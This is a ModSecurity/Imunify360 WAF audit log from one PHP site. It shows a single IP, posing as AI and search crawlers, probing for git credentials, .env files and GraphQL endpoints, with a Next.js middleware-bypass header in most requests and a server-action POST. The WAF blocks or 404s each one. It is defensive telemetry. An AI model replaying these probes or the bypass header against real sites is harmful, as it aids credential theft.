Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.gitconfig"] [unique_id "aqZoN2M7dE9KgIIOpQhz1QAAAMs"]
Action: Intercepted (phase 2)
Stopwatch: 1789290551690050 67450 (- - -)
Stopwatch2: 1789290551690050 67450; combined=66151, p1=214, p2=65558, p3=0, p4=0, p5=378, sr=79, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--47e10a33-Z--

--01565b09-A--
[13/Sep/2026:12:09:11.813413 +0300] aqZoN2M7dE9KgIIOpQhz1gAAANg 34.73.246.242 37030 127.0.0.1 7081
--01565b09-B--
GET /.git-credentials HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--01565b09-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--01565b09-H--
Message: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git-credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git-credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git-credentials"] [unique_id "aqZoN2M7dE9KgIIOpQhz1gAAANg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git-credentials"] [unique_id "aqZoN2M7dE9KgIIOpQhz1gAAANg"]
Action: Intercepted (phase 2)
Stopwatch: 1789290551741007 72458 (- - -)
Stopwatch2: 1789290551741007 72458; combined=71172, p1=202, p2=70698, p3=0, p4=0, p5=271, sr=79, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--01565b09-Z--

--35e1b456-A--
[13/Sep/2026:12:09:11.871165 +0300] aqZoN2M7dE9KgIIOpQhzzAAAAMo 34.73.246.242 36930 127.0.0.1 7081
--35e1b456-B--
GET /.git/HEAD HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--35e1b456-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--35e1b456-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/HEAD"] [unique_id "aqZoN2M7dE9KgIIOpQhzzAAAAMo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290551308651 562569 (- - -)
Stopwatch2: 1789290551308651 562569; combined=29843, p1=132, p2=29667, p3=0, p4=0, p5=43, sr=60, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--35e1b456-Z--

--51311364-A--
[13/Sep/2026:12:09:11.973855 +0300] aqZoN0wu1RSkptiiNIX4AgAAAJg 34.73.246.242 37048 127.0.0.1 7081
--51311364-B--
POST /graphql HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 86
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Content-Type: application/json
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D
Origin: https://antarktysvodka.com
Referer: https://antarktysvodka.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Chromium";v="152", "Not?A_Brand";v="24", "Brave";v="152"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"

--51311364-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--51311364-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290551699075 274868 (- - -)
Stopwatch2: 1789290551699075 274868; combined=5393, p1=231, p2=4843, p3=0, p4=0, p5=319, sr=81, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--51311364-Z--

--0b662528-A--
[13/Sep/2026:12:09:12.128511 +0300] aqZoNzTJ6xTvcJoem7f6XgAAAFE 34.73.246.242 37092 127.0.0.1 7081
--0b662528-B--
GET /.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--0b662528-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--0b662528-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.env"] [unique_id "aqZoNzTJ6xTvcJoem7f6XgAAAFE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290551924764 203836 (- - -)
Stopwatch2: 1789290551924764 203836; combined=4671, p1=211, p2=4395, p3=0, p4=0, p5=64, sr=83, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0b662528-Z--

--71905234-A--
[13/Sep/2026:12:09:12.221388 +0300] aqZoODTJ6xTvcJoem7f6YwAAAEk 34.73.246.242 37136 127.0.0.1 7081
--71905234-B--
GET /.env.local HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--71905234-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--71905234-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.env.local"] [unique_id "aqZoODTJ6xTvcJoem7f6YwAAAEk"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.env.local"] [unique_id "aqZoODTJ6xTvcJoem7f6YwAAAEk"]
Action: Intercepted (phase 2)
Stopwatch: 1789290552159348 62099 (- - -)
Stopwatch2: 1789290552159348 62099; combined=60524, p1=387, p2=59791, p3=0, p4=0, p5=346, sr=206, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--71905234-Z--

--62f66569-A--
[13/Sep/2026:12:09:12.275951 +0300] aqZoODTJ6xTvcJoem7f6YAAAAEY 34.73.246.242 37116 127.0.0.1 7081
--62f66569-B--
POST / HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 452
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Accept: text/x-component
Content-Type: multipart/form-data; boundary=----r2sx8kpzhjqp7fn
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D
Next-Action: r2s
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
Accept-Encoding: gzip

--62f66569-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--62f66569-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290552021803 254234 (- - -)
Stopwatch2: 1789290552021803 254234; combined=5167, p1=191, p2=4615, p3=0, p4=0, p5=361, sr=72, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--62f66569-Z--

--f265893a-A--
[13/Sep/2026:12:09:12.291437 +0300] aqZoODTJ6xTvcJoem7f6YgAAAE8 34.73.246.242 37126 127.0.0.1 7081
--f265893a-B--
POST /api/graphql HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 86
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Content-Type: application/json
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
Origin: https://antarktysvodka.com
Referer: https://antarktysvodka.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Chromium";v="152", "Not?A_Brand";v="24", "Brave";v="152"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"

--f265893a-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--f265893a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290552130042 161499 (- - -)
Stopwatch2: 1789290552130042 161499; combined=6403, p1=245, p2=5817, p3=0, p4=0, p5=340, sr=77, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f265893a-Z--

--6c218410-A--
[13/Sep/2026:12:09:12.389910 +0300] aqZoOGM7dE9KgIIOpQhz2gAAAM0 34.73.246.242 37174 127.0.0.1 7081
--6c218410-B--
GET /api/.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: CCBot/2.0 (https://commoncrawl.org/faq/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--6c218410-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--6c218410-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/api/.env"] [unique_id "aqZoOGM7dE9KgIIOpQhz2gAAAM0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290552316314 73657 (- - -)
Stopwatch2: 1789290552316314 73657; combined=5209, p1=320, p2=4835, p3=0, p4=0, p5=54, sr=147, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6c218410-Z--

--2054ef13-A--
[13/Sep/2026:12:09:12.569034 +0300] aqZoOGM7dE9KgIIOpQhz2wAAAMI 34.73.246.242 37184 127.0.0.1 7081
--2054ef13-B--
GET /admin/.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--2054ef13-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--2054ef13-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/admin/.env"] [unique_id "aqZoOGM7dE9KgIIOpQhz2wAAAMI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290552399759 169338 (- - -)
Stopwatch2: 1789290552399759 169338; combined=4692, p1=227, p2=4370, p3=0, p4=0, p5=95, sr=88, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2054ef13-Z--

--89527f65-A--
[13/Sep/2026:12:09:12.630696 +0300] aqZoOCsVWymXUono-eRUuAAAAAw 34.73.246.242 37196 127.0.0.1 7081
--89527f65-B--
POST /v1/graphql HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 86
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Content-Type: application/json
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
Origin: https://antarktysvodka.com
Referer: https://antarktysvodka.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Chromium";v="152", "Not?A_Brand";v="24", "Brave";v="152"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"

--89527f65-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--89527f65-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290552423916 206870 (- - -)
Stopwatch2: 1789290552423916 206870; combined=6165, p1=313, p2=5515, p3=0, p4=0, p5=336, sr=108, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--89527f65-Z--

--b9ab2a2c-A--
[13/Sep/2026:12:09:12.674839 +0300] aqZoOGM7dE9KgIIOpQhz3AAAAMQ 34.73.246.242 37212 127.0.0.1 7081
--b9ab2a2c-B--
GET /backend/.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--b9ab2a2c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--b9ab2a2c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/backend/.env"] [unique_id "aqZoOGM7dE9KgIIOpQhz3AAAAMQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290552437970 236942 (- - -)
Stopwatch2: 1789290552437970 236942; combined=4341, p1=218, p2=4068, p3=0, p4=0, p5=54, sr=83, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b9ab2a2c-Z--

--d276c238-A--
[13/Sep/2026:12:09:12.764989 +0300] aqZoOGM7dE9KgIIOpQhz3gAAAMk 34.73.246.242 37224 127.0.0.1 7081
--d276c238-B--
GET /config/.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--d276c238-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--d276c238-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
